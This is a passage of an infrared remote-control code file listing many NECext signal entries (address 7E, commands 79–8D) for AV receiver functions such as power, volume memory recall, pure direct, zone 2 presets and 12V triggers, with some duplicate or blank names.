NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: MZ:_VOL_MEM_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: MZ_VOL_MEM_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: MZ:_VL_P_RECL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: MZ_VOL_MEM:_LOAD_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: VOL_RECALL_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: VOL._RECALL_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: VOLUME_RECALL:_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: MZ:_VOL_REC_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: VCXO:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: VOLUME_BANK_RECALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: MZ:_VOL_REC_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: VOL_RECALL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: VOLUME_RECALL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: PRESET_RECALL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: MZ:_VOL_P_RECL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: MZ:_VOL_MEM_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: MZ_VOL_MEM_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: MZ:_VL_P_RECL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: MZ_VOL_MEM:_LOAD_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: VOL_RECALL_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: VOL._RECALL_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: VOLUME_RECALL:_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: MZ:_VOL_REC_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: FAN:_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: VOLUME_BANK_RECALL_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: MZ:_VOL_REC_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7A 00 00 00 +# +name: FAN:_STOP +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7B 00 00 00 +# +name: MZ:_INP_MODE_ILINK +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7B 00 00 00 +# +name: EX/ES_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: 6.1/ES_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: DSP:_EX/ES_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: DSP:_EX_ES_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: DSP:_EX_SURR._AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: EXTD_SUR_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: DSP:_EX/6.1/ES_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: EXT_SUR:_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: DSP_EX_SUR_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: EXTED._SURR._AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: DSP:_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: EX/ES_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: EXTED_SUR._AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: DECOD:_EX_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: FAN:_LOW +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: EXTED_SUR_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: EXTED_SUR_AUTO +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7C 00 00 00 +# +name: 6.1/ES_DISCRETE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7D 00 00 00 +# +name: DSP:_EX/ES_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7D 00 00 00 +# +name: DSP:_EX_ES_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7D 00 00 00 +# +name: DSP:_EX/6.1/ES_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7D 00 00 00 +# +name: FAN:_MID +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: MAIN_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: MZ:_MAIN_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: MZ_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: MAIN_ZONE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: MZ:_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: POWER_ON_(MAIN) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: MAIN:_MAIN_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: MAIN_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: FAN:_HIGH +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: MZ:_POWER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7E 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: MAIN_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: MZ:_MAIN_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: MZ_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: MAIN_ZONE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: MZ:_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: POWER_OFF/STNDBY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: POWER_OFF_(MAIN) +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: MAIN:_MAIN_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: MAIN_POWER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: MZ:_STANDBY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: MZ:_STANDBY +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 7F 00 00 00 +# +name: PURE_DIRECT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: DSP:_PURE_DIRECT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: DSP_PURE_DIRECT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: PURE_DIRECT:_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: DSP:_DIRECT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: DSP:_PURE_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: PURE_DIRECT_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: DSP:_PURE_DIR._ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: Z2_VOL_BANK_MAIN +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: DSP:_PURE_DIR_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: DSP:_PURE_DIR_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 80 00 00 00 +# +name: Z2_VOL_BANK_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 81 00 00 00 +# +name: PURE_DIRECT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: DSP:_PURE_DIRECT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: DSP_PURE_DIRECT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: PURE_DIRECT:_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: HDMI_OUT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: DSP:_DIRECT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: DSP:_PURE_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: PURE_DIRECT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: DSP:_PURE_DIR._OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: Z2_VOL_BANK_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: DSP:_PURE_DIR_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: DSP:_PURE_DIR_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: HDMI_OUT_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 82 00 00 00 +# +name: 12V:_DC1_Z3_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 83 00 00 00 +# +name: DC1_TRIG_Z3_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 83 00 00 00 +# +name: DC1_TRG_ZONE_3_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 83 00 00 00 +# +name: HDMI_AUTO_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 83 00 00 00 +# +name: DC1_TRIGGER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 83 00 00 00 +# +name: HDMI_LIPSYNC_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 83 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 83 00 00 00 +# +name: Z2_VOL_BANK_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 83 00 00 00 +# +name: HDMI_AUTO_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 83 00 00 00 +# +name: TRIGGER_1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 83 00 00 00 +# +name: TRIGGER_1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 83 00 00 00 +# +name: 12V:_DC1_Z3_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 84 00 00 00 +# +name: DC1_TRIG_Z3_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 84 00 00 00 +# +name: DC1_TRG_ZONE_3_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 84 00 00 00 +# +name: HDMI_AUTO_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 84 00 00 00 +# +name: DC1_TRIGGER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 84 00 00 00 +# +name: HDMI_LIPSYNC_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 84 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 84 00 00 00 +# +name: Z2_VOL_BANK_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 84 00 00 00 +# +name: HDMI_AUTO_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 84 00 00 00 +# +name: TRIGGER_1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 84 00 00 00 +# +name: TRIGGER_1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 84 00 00 00 +# +name: 12V:_DC2_Z3_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 85 00 00 00 +# +name: DC2_TRIG_Z3_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 85 00 00 00 +# +name: DC2_TRG_ZONE_3_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 85 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 85 00 00 00 +# +name: DC2_TRIGGER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 85 00 00 00 +# +name: Z2_VOL_BANK_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 85 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 85 00 00 00 +# +name: TRIGGER_2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 85 00 00 00 +# +name: TRIGGER_2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 85 00 00 00 +# +name: 12V:_DC2_Z3_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 86 00 00 00 +# +name: DC2_TRIG_Z3_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 86 00 00 00 +# +name: DC2_TRG_ZONE_3_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 86 00 00 00 +# +name: DC2_TRIGGER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 86 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 86 00 00 00 +# +name: Z2_VOL_BANK_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 86 00 00 00 +# +name: TRIGGER_2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 86 00 00 00 +# +name: TRIGGER_2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 86 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 86 00 00 00 +# +name: Z2_VOL_MEM_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2:_VOLP_MEM_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2:_VOL_MEM_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2_VOL_MEM_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2_PRESET_MEMORY_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2:_VL_P_MEM_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2_VOL_MEM:_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: VOL_MEMORY_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2:_VOL._MEMORY_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2_VOL_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2:_VOL_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2_VOL_BANK_MEMORY_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2:_VOL_MEMORY_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2:_VOL_MEMORY_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: MENU_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 87 00 00 00 +# +name: Z2_VOL_MEM_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2:_VOLP_MEM_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2:_VOL_MEM_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2_VOL_MEM_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2_PRESET_MEMORY_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2:_VL_P_MEM_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2_VOL_MEM:_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: VOL_MEMORY_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2:_VOL._MEMORY_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2_VOL_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2:_VOL_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2_VOL_BANK_MEMORY_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2:_VOL_MEMORY_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2:_VOL_MEMORY_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 88 00 00 00 +# +name: Z2_VOL_MEM_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2:_VOLP_MEM_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2:_VOL_MEM_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2_VOL_MEM_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2_PRESET_MEMORY_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2:_VL_P_MEM_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2_VOL_MEM:_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: VOL_MEMORY_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2:_VOL._MEMORY_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2_VOL_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2:_VOL_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2_VOL_BANK_MEMORY_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2:_VOL_MEMORY_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2:_VOL_MEMORY_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 89 00 00 00 +# +name: Z2_VOL_MEM_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2:_VOLP_MEM_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2:_VOL_MEM_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2_VOL_MEM_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2_PRESET_MEMORY_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2:_VL_P_MEM_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2_VOL_MEM:_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: VOL_MEMORY_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2:_VOL._MEMORY_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2_VOL_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2:_VOL_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2_VOL_BANK_MEMORY_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2:_VOL_MEMORY_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2:_VOL_MEMORY_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: MENU_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8A 00 00 00 +# +name: Z2_VOL_MEM_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2:_VOLP_MEM_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2:_VOL_MEM_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2_VOL_MEM_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2_PRESET_MEMORY_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2:_VL_P_MEM_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2_VOL_MEM:_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: DISP_STATUS_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2:_VOL._MEMORY_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: DC1_TRIG_Z2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2:_VOL_MEM_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2_VOL_BANK_MEMORY_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2:_VOL_MEMORY_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2:_VOL_MEMORY_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8B 00 00 00 +# +name: Z2_VOL_MEM_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2:_VOLP_MEM_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2:_VOL_MEM_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2_VOL_MEM_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2_PRESET_MEMORY_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2:_VL_P_MEM_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2_VOL_MEM:_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: VOL_RECALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: DISP_STATUS_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2:_VOL._MEMORY_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2_VOL_MEM_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2:_VOL_MEM_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2_VOL_BANK_MEMORY_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2:_VOL_MEMORY_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: STATUS_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2:_VOL_MEMORY_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: STATUS_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8C 00 00 00 +# +name: Z2_VOL_RECALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2:_VOLP_RECL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2:_VOL_MEM_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2_VOL_MEM_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2_PRESET_RECALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2:_VL_P_RECL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2_VOL_MEM:_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: DISP_STATUS_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2:_VOL._RECALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 8D 00 00 00 +# +name: Z2_VOL_RECALL_1 +type: parsed 